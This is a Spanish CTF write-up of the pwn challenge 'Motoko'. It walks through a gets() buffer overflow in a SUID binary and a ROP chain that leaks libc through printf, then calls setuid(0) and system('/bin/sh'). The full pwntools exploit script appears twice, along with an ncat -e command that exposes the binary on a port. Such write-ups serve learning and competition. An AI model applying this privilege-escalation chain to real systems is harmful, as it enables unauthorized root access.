Q4{Motoko}
Hola! Este sábado 31 de agosto, asistimos como team cntr0llz
al CTF de Q4
, en el cual nos fue bastante bien y nos divertimos caleta, buenos desafíos, buenos snacks y mucha buena onda :).
Ahora mismo, les traigo el writeup de un desafío que nos quebró la cabeza un buen rato con @FJV, de 300
pts y era peluo.
Recon
El desafío se llama Motoko
, un PWN
el cual, se nos daba credenciales SSH
a una máquina ubuntu
, y nos encontramos de lleno con un SUID binary
llamado motoko (ya sabemos por donde va…)
Trayendo el binario a una máquina nuestra, comenzamos a analizarlo.
Vemos que es un binario ELF
, 64 bits, NO PIE
+ ASLR on
.
Al correrlo, nos pregunta un par de cosas y nos devuelve una respuesta, en conjunto con lo que le dimos.
Si abrimos el binario con algún dissassembler, podemos ver un poco el comportamiento que tiene:
Si vemos el main
, no tiene nada especial, sólo una llamada a una función getinput
que quizas nos sirva.
Si seguimos el flujo hasta getinput
, podemos encontrar el core del programa.
De aquí, podemos ver la primera salida por pantalla:
Just a whisper. I hear it in my ghost.... (INPUT)
Y luego, dependiendo del INPUT
, el programa nos dirigirá a un print de la dirección de un puntero (FALSE
), o al respectivo return de la función (siendo este nuestro objetivo).
Discutimos un buen rato si de verdad era necesario tomarle importancia a ese flujo del programa, ya que en primera instancia, nos servía mucho ese output del ptr address
para saber como está mapeado el stack en la ejecución, pero el exit(1)
que seguía nos arruinaba la fiesta.
Otro problema que tuvimos, era que en un comienzo, el binario
, estaba con la protección PIE
activada, lo que dificultaba mucho debuggear y explotar el programa. Le preguntamos a @dplastico si de verdad era parte de la dificultad del binario el PIE
y nos comentó que no debería tener activada esa protección, LOL. Se disculpó con todos y compiló otra vez el binario para su explotación. (gracias <3).
Comenzando, podemos ver que el BoF
ocurre justo en la función gets 0x0040063b
, dejándonos desbordar el buffer a nuestro antojo, siendo nuestra única preocupación, llegar al RET
luego de desbordar el buffer.
Abrimos el binario en GDB
, para poder debugear.
Como ya sabemos el comportamiento del binario, creamos un breakpoint
en la función donde ocurre el BoF
y creamos un patrón :D !
Seguimos hasta el RET point
de la función en cuestión para ver exáctamente donde pisa el RIP
, el offset debería estar al rededor de los 80 bytes como figura en el ASM
.
Tenemos exactamente 88 bytes
antes de pisar RIP
. Con el control del flujo del programa, a darle.
Comenzamos con el cascarón de nuestro exploit:
Primero, necesitaremos un par de gadgets convenientes, estilo pop rdi;ret
Debemos de alguna forma obtener la dirección base de libc
, ya que está ASLR
activado (SPOILER: por ahora
😄 ).
Para esto, no nos sale inmediatamente fácil utilizar puts, ya que no ha sido utilizado en el programa, pero sí printf
:D ! Direcciones importantes:
- printf@plt :
0x4004f0
- printf@got :
0x601020
- fflush@plt :
0x400510
- fflush@got :
0x601030
- gets@plt :
0x400500
- gets@got :
0x601028
- pop rdi; ret :
0x00400723
- pop rsi; pop r15; ret :
0x00400721
(en caso de que necesitemos más de un argumento).
La idea a seguir sería la siguiente:
- Debemos hacer el leak de alguna función en la
GOT
ya utilizada para obtener el offset en el cual se encuentralibc
. El problema es que sólo tenemosprintf
para sacar algo por pantalla, no un usualputs
, por lo que debemos introducir unformat string
en algún lado…
Podemos escribir en la.bss
!!
yess! Siguiendo la idea, el primer objetivo es:
- Escribir el format string en la
.BSS
- Utilizar ese format string para sacar por pantalla una referencia a la
GOT
. - Conseguir el offset de libc !
Si armamos un poco el exploit, quedaría de la siguiente forma:
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
import warnings
import time
#context(terminal=['tmux','new-window'])
context(terminal=['tmux','split-window'])
context(os="linux", arch="amd64")
context.log_level = 'debug'
#p = remote('localhost', 8080)
p = gdb.debug('./assets/motoko', 'b * getinput')
# prepare
junk = 'A'*88
get_input = p64(0x400607)
gets_plt = p64(0x400500)
gets_got = p64(0x601028)
printf_plt = p64(0x4004f0)
printf_got = p64(0x601020)
fflush_plt = p64(0x400510)
fflush_got = p64(0x601030)
pop_rdi = p64(0x00400723)
pop_rsi_r15 = p64(0x00400721)
random_bss = p64(0x00601180)
payload = junk # junk
payload += pop_rdi # primer gadget
payload += random_bss # primer argumento
payload += gets_plt # escribir en el 1 arg
payload += get_input # Volver a getinput
# Write to BSS
p.sendline(payload)
p.recvrepeat(1)
p.sendline('PTR Value --%s--')
# Print with printf
payload = junk # junk
payload += pop_rdi # gadget
payload += random_bss # donde guardaremos nuestro format strig
payload += pop_rsi_r15 # segundo argumento
payload += printf_got # Pointer to the got -> 2 arg
payload += p64(0x00) # Dummy entry for r15
payload += printf_plt # execute printf
payload += pop_rdi # gadget
payload += p64(0x00) # dummy first arg
payload += fflush_plt # execute fflush
payload += get_input # Volver a getinput
p.sendline(payload)
leak = p.recvuntil('PTR')
leak = p.recv().strip().split('--')[1].ljust(8,"\x00")
print 'the leak is:'
print leak
Traté de dejar el código comentado para que se explique un poco, dentro de lo que se pueda. En pocas palabras lo que se hizo fue:
- Redirigir por primera vez el programa a un flujo que nos permita
- Escribir arbitrariamente en la
.BSS
unformat string
. - Volver a la función
getinput
.
- Escribir arbitrariamente en la
- Luego, con el
FS
guardado en la.BSS
, podremos utilizarlo como argumento para redirigir el flujo a la función que tenemos a manoprintf
, lo que nos permitirá hacer el leak de laGOT
. Ahora ya con elleak
de laGOT
, solo nos queda calcular la base delibc
y terminar de pwnear el binario !
FunFact: Luego de haber craneado esto, @dplastico comentó que había compilado otra vez el binario (al comienzo era un binario PIE
), esta vez, desactivándole el ASLR
a la máquina en compensación del tiempo perdido por el enabled PIE
… DAMN !
En fin, habíamos logrado sacar la misma dirección de memoria que ahora daba $ldd
:cry:.
Ahora con este leak, queda completar la llamada a system
.
Tratamos de hacerlo con el string /bin/sh
de libc
, el cual no nos funcionó :joy:, por lo que optamos por lo más sano, al igual que antes, escribir en la .BSS
y utilizarlo a nuestra conveniencia.
Primero, obtengamos los valores de las funciones que necesitaremos de libc
- printf@GLIBC :
0x0000000000055750
(para calcular el offset) - system@GLIBC :
0x0000000000047850
- setuid@GLIBC :
0x00000000000ca140
Con estas direcciones, nos animamos a armar las últimas ROP Chains
para ojalá, completar el challenge:
base_printf_libc = 0x0000000000055750 # printf_base
offset = u64(leak) - base_printf_libc # Offset
log.success("The offset is: " + str(offset))
system_glibc = 0x0000000000047850 + offset # system 2go
setuid_glibc = 0x00000000000ca140 + offset # setuid 2go
p.recvrepeat(1)
payload = junk # junk
payload += pop_rdi # gadget
payload += random_bss # bss to write
payload += gets_plt # jump to gets
payload += get_input # Volver a getinput
p.sendline(payload) # Mandar payload
p.sendline("/bin/sh") # Mandar para cuando GETS tome el input
log.success("String /bin/sh sended ...")
payload = junk # junk
payload += pop_rdi # gadget
payload += p64(0x00) # argumento setuid = 0
payload += p64(setuid_glibc) # call setuid
payload += pop_rdi # return 2 gadget
payload += random_bss # puntero a donde donde escribimos el /bin/sh
payload += p64(system_glibc) # LLAMAMOS A SYSTEM CARAJOOOOO
log.success("Ultimo payload enviado, a rezar ...")
p.sendline(payload)
p.interactive()
Con esto, ya funcionaba localmente, pero quedamos un rato estancados en como hacerlo funcionar en la máquina remota, ya que al usar la conexión SSH
que trae pwntools
, se moría la conexión al instante, ya que la máquina remota no tenía python2
… DAMN !
Pensando un buen rato, llegamos a una solución garka, pero buena, “emular” un servicio del binario con alguna herramienta, el problema es que la máquina no tenía nada que nos permitiese hacer eso, estilo socat
. Pero lo que sí pudimos hacer fue subirle un binario estático de ncat
y hacerlo correr en algún puerto alto para debugear remotamente.
while true; do ./ncat -lvp 8080 -e /home/mokoto/mokoto; sleep 1; done
Ahora fue cosa de cambiar los valores correspondientes de las funciones de LIBC
de la máquina remota y lanzarlo:
(aquí emulé lo mismo que hicimos solo que en mi máquina ): )
Finalmente, el exploit quedó de la siguiente manera:
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
import warnings
import time
#context(terminal=['tmux','new-window'])
context(terminal=['tmux','split-window'])
context(os="linux", arch="amd64")
context.log_level = 'debug'
#p = remote('localhost', 8080)
p = gdb.debug('./assets/motoko', 'b * getinput')
# prepare
junk = 'A'*88
get_input = p64(0x400607)
gets_plt = p64(0x400500)
gets_got = p64(0x601028)
printf_plt = p64(0x4004f0)
printf_got = p64(0x601020)
fflush_plt = p64(0x400510)
fflush_got = p64(0x601030)
pop_rdi = p64(0x00400723)
pop_rsi_r15 = p64(0x00400721)
random_bss = p64(0x00601180)
payload = junk # junk
payload += pop_rdi # primer gadget
payload += random_bss # primer argumento
payload += gets_plt # escribir en el 1 arg
payload += get_input # Volver a getinput
# Write to BSS
p.sendline(payload)
p.recvrepeat(1)
p.sendline('PTR Value --%s--')
# Print with printf
payload = junk # junk
payload += pop_rdi # gadget
payload += random_bss # donde guardaremos nuestro format strig
payload += pop_rsi_r15 # segundo argumento
payload += printf_got # Pointer to the got -> 2 arg
payload += p64(0x00) # Dummy entry for r15
payload += printf_plt # execute printf
payload += pop_rdi # gadget
payload += p64(0x00) # dummy first arg
payload += fflush_plt # execute fflush
payload += get_input # Volver a getinput
p.sendline(payload)
leak = p.recvuntil('PTR')
leak = p.recv().strip().split('--')[1].ljust(8,"\x00")
print 'the leak is:'
print leak
base_printf_libc = 0x0000000000055750 # printf_base
offset = u64(leak) - base_printf_libc # Offset
log.success("The offset is: " + str(offset))
system_glibc = 0x0000000000047850 + offset # system 2go
setuid_glibc = 0x00000000000ca140 + offset # setuid 2go
p.recvrepeat(1)
payload = junk # junk
payload += pop_rdi # gadget
payload += random_bss # bss to write
payload += gets_plt # jump to gets
payload += get_input # Volver a getinput
p.sendline(payload) # Mandar payload
p.sendline("/bin/sh") # Mandar para cuando GETS tome el input
log.success("String /bin/sh sended ...")
payload = junk # junk
payload += pop_rdi # gadget
payload += p64(0x00) # argumento setuid = 0
payload += p64(setuid_glibc) # call setuid
payload += pop_rdi # return 2 gadget
payload += random_bss # puntero a donde donde escribimos el /bin/sh
payload += p64(system_glibc) # LLAMAMOS A SYSTEM CARAJOOOOO
log.success("Ultimo payload enviado, a rezar ...")
p.sendline(payload)
p.interactive()
Gracias por leer el write up, espero que se haya entendido algo, cualquier duda, sólo pregunten :3
Se despide
f4d3